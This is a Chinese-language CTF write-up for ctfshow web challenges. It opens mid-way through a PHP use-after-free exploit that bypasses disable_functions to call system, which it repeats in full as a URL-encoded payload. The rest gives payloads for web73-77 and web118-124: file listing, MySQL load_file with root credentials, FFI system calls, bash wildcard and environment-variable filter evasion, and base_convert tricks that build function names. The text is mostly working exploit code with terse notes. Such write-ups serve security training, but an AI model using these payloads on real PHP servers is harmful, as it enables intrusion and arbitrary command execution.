("Couldn't determine binary base address" ); } if (!($elf = parse_elf ($base ))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs ($base , $elf ))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system ($basic_funcs ))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write ($abc , $fake_obj_offset + $i , leak ($closure_obj , $i )); } write ($abc , 0x20 , $abc_addr + $fake_obj_offset ); write ($abc , 0xd0 + 0x38 , 1 , 4 ); write ($abc , 0xd0 + 0x68 , $zif_system ); ($helper ->b)($cmd ); exit (); } ctfshow ("cat /flag0.txt" );ob_end_flush ();
url编下码
c=%0A%0Afunction%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B
web73-74 查位置 c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0); payload c=include("/flagc.txt");exit(0); c=require("/flagc.txt");exit(0); c=require_once("/flagc.txt");exit(0);
web75 利用mysql load_file读取文件 查位置 c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0); c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0); c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();exit(0);}exit(0);
利用mysql load_file读取文件,但是用户名密码怎么知道的?
web76 位置 c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0); c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0); c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();exit(0);}exit(0);
web77 位置 c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0); c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0); c=$ffi = FFI::cdef("int system(const char *command);"); $a='/readflag > 1.txt'; $ffi->system($a); 接着访问1.txt
web118 环境变量构造nl命令
fuzz一下
发现只有大写A-Z和${}~.?:
Linux echo ${PWD} #/root echo ${PWD:0:1} #/ 表示从0下标开始的第一个字符 echo ${PWD:~0:1} #t 表示从结尾开始往前的第一个字符 echo ${PWD:~0} #t echo ${PWD:~A} #t 字母和0具有同样作用 echo ${PWD:~A} #/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
利用环境变量构造nl命令
${PATH:~A}${PWD:~A}$IFS????.??? ${PATH:~A}->n ${PWD:~A}->l $IFS 空格
SHLVL是记录多个Bash进程实例嵌套深度的累加器,进程第一次打开shell时,${SHLVL}=1,然后在此shell中在打开一个shell是${SELVL}=2 ${PWD:${#}:${SHLVL}}就输出/ ${#}是0 ${SHLVL}是1 ${#PWD}是回显字符数,${PWD}是/root,${#PWD}是5 #${RANDOM}是随机数,${#RANDOM}一般是5,也可能是4
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.??? ${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???
web119 fuzz一下
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.??? # pwd=/var/www/html # USER=www-data # payload即为 /???/?at ????.??? 为了构造/bin/cat 也可以只要a进行构造 ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.??? /???/?a? ????.???
web120 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['code' ])){ $code =$_POST ['code' ]; if (!preg_match ('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/' , $code )){ if (strlen ($code )>65 ){ echo '<div align="center">' .'you are so long , I dont like ' .'</div>' ; } else { echo '<div align="center">' .system ($code ).'</div>' ; } } else { echo '<div align="center">evil input</div>' ; } } ?>
给了源码,和上面差不多
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
web121 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['code' ])){ $code =$_POST ['code' ]; if (!preg_match ('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/' , $code )){ if (strlen ($code )>65 ){ echo '<div align="center">' .'you are so long , I dont like ' .'</div>' ; } else { echo '<div align="center">' .system ($code ).'</div>' ; } } else { echo '<div align="center">evil input</div>' ; } } ?>
这次只剩下${PWD}了
code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.??? /???/r?? ????.??? /bin/rev 从最后一个字符显示到第一个字符 ${?} 是0 $?是表示上一条命令执行结束后的传回值,通常0代表执行成功,非零代表执行有误 ${#?} 是1 ${#IFS} 是3
web122 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['code' ])){ $code =$_POST ['code' ]; if (!preg_match ('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/' , $code )){ if (strlen ($code )>65 ){ echo '<div align="center">' .'you are so long , I dont like ' .'</div>' ; } else { echo '<div align="center">' .system ($code ).'</div>' ; } } else { echo '<div align="center">evil input</div>' ; } } ?>
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
要多试几次哦
web124 base_convert()函数 <?php error_reporting (0 );if (!isset ($_GET ['c' ])){ show_source (__FILE__ ); }else { $content = $_GET ['c' ]; if (strlen ($content ) >= 80 ) { die ("太长了不会算" ); } $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $content )) { die ("请不要输入奇奇怪怪的字符" ); } } $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; preg_match_all ('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content , $used_funcs ); foreach ($used_funcs [0 ] as $func ) { if (!in_array ($func , $whitelist )) { die ("请不要输入奇奇怪怪的函数" ); } } eval ('echo ' .$content .';' ); }
这个匹配规则能过的
abs(1) 匹配出abs能过 1abs() 匹配出abs能过 absa() 匹配出absa不能过 abs(a) 匹配出abs和a,a不在不能过 abs()a 匹配出abs和a,a不在不能过
思路一
拼接裁剪的方式,首先不能加入其他的字符,只能使用上面的字符
?c=$pi=hypot.min.fmod;$pi=$pi{2}.$pi{0}.$pi{2}.$pi{6}.$pi{7}.$pi{8}.$pi{3};$pi()
这段payload分为三部分,
首先定义一个变量名$pi,因为pi在白名单中最短,其值为phpot.min.fmod,因为hypot min fmod均在白名单中,而且phpinfo中的所有字符均可以在其中找到
然后从hypot.min.fmod中分别取第2 0 2 6 7 8 3位置的字符,拼接成phpinfo字符串,并重新赋值给$pi变量
最后执行$pi(),即执行phpinfo()函数.
但是根据这个思路去getflag,怎么也会超过长度
那么就需要去观察函数了
而其中的关键是base_convert()函数
base_convert() 函数在任意进制之间转换数字。 语法 base_convert(number,frombase,tobase); 参数 描述 number 必需。规定要转换的数。 frombase 必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。 tobase 必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。 技术细节 返回值: number 转换为指定进制。 返回类型: String PHP 版本: 4+
这里可以使用16进制,还可以使用36进制,可以带上所有小写字母
36进制,是数据的一种表示方式,同我们日常生活中的表示方法不一样,它由0-9,a-z组成,字母不区分大小写,与十进制对应的关系是0-9对应0-9,a-z对应10-35
那么接下来我们就可以进行转换了,既然字母会有过滤我们就可以将字母转换成十进制的数字,在使用baseconvert(10,36)转换回来
<?php echo base_convert ('phpinfo' ,36 ,10 );<?php echo base_convert (55490343972 ,10 ,36 );
?c=base_convert(55490343972,10,36)()
接着我们使用system(‘ls’),这里因为不能转换()和’’只能转换字母
<?php echo base_convert ('system' ,36 ,10 );echo "\n" ;echo base_convert ('ls' ,36 ,10 );
?c=base_convert(1751504350,10,36)(base_convert(784,10,36))
接下来就是读取flag了,如果直接使用读取文件的函数file_get_contents中包含下划线,不在我们36进制之中,并且base_convert()的第一个参数太长会溢出,也就是10进制数没法无限大
思路二
借助getallheader()来控制请求头,通过请求头字段读取flag.php.这里也就类似于get,post之类的,但是只能控制小写字符,所以大写的直接被pass掉.getallheader()返回的是数组,要从数组里面取数据用array[‘xxx’].但是[]被waf了,因为{}中是可以带数字的,这里用getallheader(){1}可以分会自定义头1里面的内容
?c=$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1}) #exec(getallheaders(){1})
exec() 执行 command
参数所指定的命令。
base_convert(696468,10,36); 代表把696468从10进制转换为36进制,结果为exec。
base_convert(8768397090111664438,10,30); 代表把8768397090111664438从10进制转换为30进制,结果为getallheaders。注意这里不能用36进制,因为getallheaders的36进制转换为10进制后数太长会溢出,也就是无法把10进制数变回getallheader。所以我们在这里采用30进制。(当然这是在linux下使用php7.3版本的结果,如果是在windows下php7.0前的所有版本对于getallheader进行30-36的进制转换,再转换回来的时候都存在溢出,也就是无法把10进制数变回getallheader)
思路三
使用system(nl*)
?c=($pi=base_convert)(1751504350,10,36)($pi(1438255411,14,34)(dechex(1852579882)))
base_convert(1751504350,10,36) -------->system $pi(1438255411,14,34) ------>hex2bin dechex(1852579882) ----->将十进制转为十六进制:6e6c202a(字符串形式是:nl *) nl *可以读取当前目录下的所有文件;